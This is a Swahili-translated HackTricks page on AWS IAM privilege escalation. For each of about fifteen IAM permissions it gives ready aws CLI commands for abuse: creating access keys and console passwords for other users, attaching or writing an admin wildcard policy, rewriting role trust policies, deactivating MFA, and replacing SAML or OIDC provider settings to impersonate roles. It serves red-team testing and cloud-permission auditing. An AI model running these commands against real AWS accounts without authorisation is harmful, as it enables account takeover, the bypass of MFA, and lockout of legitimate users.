AWS - IAM Privesc

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

IAM

Kwa maelezo zaidi kuhusu IAM angalia:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikipita hitaji la ruhusa ya iam:SetDefaultPolicyVersion kwa kutumia bendera ya --set-as-default. Hii inaruhusu kufafanua ruhusa za kawaida.

Amri ya Kutekeleza:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Madhara: Inapandisha moja kwa moja mamlaka kwa kuruhusu hatua yoyote kwenye rasilimali yoyote.

iam:SetDefaultPolicyVersion

Inaruhusu kubadilisha toleo la kawaida la sera ya IAM kuwa toleo lingine lililopo, ambayo inaweza kuongeza mamlaka ikiwa toleo jipya lina ruhusa zaidi.

Amri ya Bash:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Madhara: Kuinua hadhi kwa njia isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi.

iam:CreateAccessKey

Inaruhusu kuunda kitambulisho cha ufikiaji na funguo za siri za ufikiaji kwa mtumiaji mwingine, ikisababisha kuinuka kwa hadhi.

Kuvunja:

bash
aws iam create-access-key --user-name <target_user>

Madhara: Kuinua kibali moja kwa moja kwa kudai ruhusa za mtumiaji mwingine.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Inaruhusu kuunda au kuboresha profaili ya kuingia, ikiwa ni pamoja na kuweka nywila za kuingia kwenye AWS console, na kusababisha kuinua kibali moja kwa moja.

Dhamira ya Kutumia:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Kuvunja kwa Sasisho:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Madhara: Kuinua kibali moja kwa moja kwa kuingia kama "mtumiaji yeyote".

iam:UpdateAccessKey

Inaruhusu kuwezesha ufunguo wa upatikanaji uliozimwa, ambayo inaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji ana ufunguo uliozimwa.

Kuvunja:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Madhara: Kuinua hadhi moja kwa moja kwa kurejesha funguo za ufikiaji.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Inaruhusu kuunda au kurekebisha akreditivu za huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ikirithi ruhusa za mtumiaji anayehusishwa.

Dhamira ya Uundaji:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Kuvunja kwa Reset:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Madhara: Kuinua moja kwa moja haki ndani ya ruhusa za huduma za mtumiaji.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Inaruhusu kuambatisha sera kwa watumiaji au vikundi, kwa moja kwa moja kuinua haki kwa kurithi ruhusa za sera iliyounganishwa.

Kuvunja kwa Mtumiaji:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Kuvunja kwa Kundi:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Madhara: Kuinua kibali moja kwa moja kwa chochote ambacho sera inaruhusu.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Inaruhusu kuambatisha au kuweka sera kwa majukumu, watumiaji, au vikundi, ikiruhusu kuinua kibali moja kwa moja kwa kutoa ruhusa za ziada.

Kudukua kwa Jukumu:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Kuvunja kwa Sera za Inline:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Unaweza kutumia sera kama:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Madhara: Kuongeza kibali moja kwa moja kwa kuongeza ruhusa kupitia sera.

iam:AddUserToGroup

Inaruhusu kuongeza mtu mwenyewe kwenye kundi la IAM, ikipandisha hadhi kwa kurithi ruhusa za kundi.

Kuvunja:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Madhara: Kuinua moja kwa moja hadhi hadi kiwango cha ruhusa za kundi.

iam:UpdateAssumeRolePolicy

Inaruhusu kubadilisha hati ya sera ya kudhani jukumu la jukumu, ikiruhusu kudhani jukumu hilo na ruhusa zake zinazohusiana.

Kuvunja:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Mahali sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Madhara: Kuinua kibali moja kwa moja kwa kukubali ruhusa za jukumu lolote.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Inaruhusu kupakia funguo za umma za SSH kwa ajili ya uthibitishaji kwenye CodeCommit na kuzima vifaa vya MFA, vinavyoweza kusababisha kuinua kibali kisicho moja kwa moja.

Kuvunja kwa Kupakia Funguo za SSH:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Kuvunja kwa Kuondoa MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Madhara: Kuinua hadhi isiyo ya moja kwa moja kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA.

iam:ResyncMFADevice

Inaruhusu upatanishi wa kifaa cha MFA, ambayo inaweza kusababisha kuinua hadhi isiyo ya moja kwa moja kwa kudhibiti ulinzi wa MFA.

Amri ya Bash:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Madhara: Kuinua hadhi kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Kwa ruhusa hizi unaweza kubadilisha metadata ya XML ya muunganisho wa SAML. Kisha, unaweza kutumia shirikisho la SAML ku ingia na jukumu lolote ambalo linakubali hilo.

Kumbuka kwamba kufanya hivi watumiaji halali hawawezi kuingia. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, kuingia na kuunda mipangilio ya awali.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Chombo kinachoweza kuunda metadata ya SAML na kuingia na jukumu lililobainishwa

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Haijulikani kuhusu hii) Ikiwa mshambuliaji ana idhini hizi anaweza kuongeza Thumbprint mpya ili kuweza kuingia katika majukumu yote yanayotegemea mtoa huduma.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks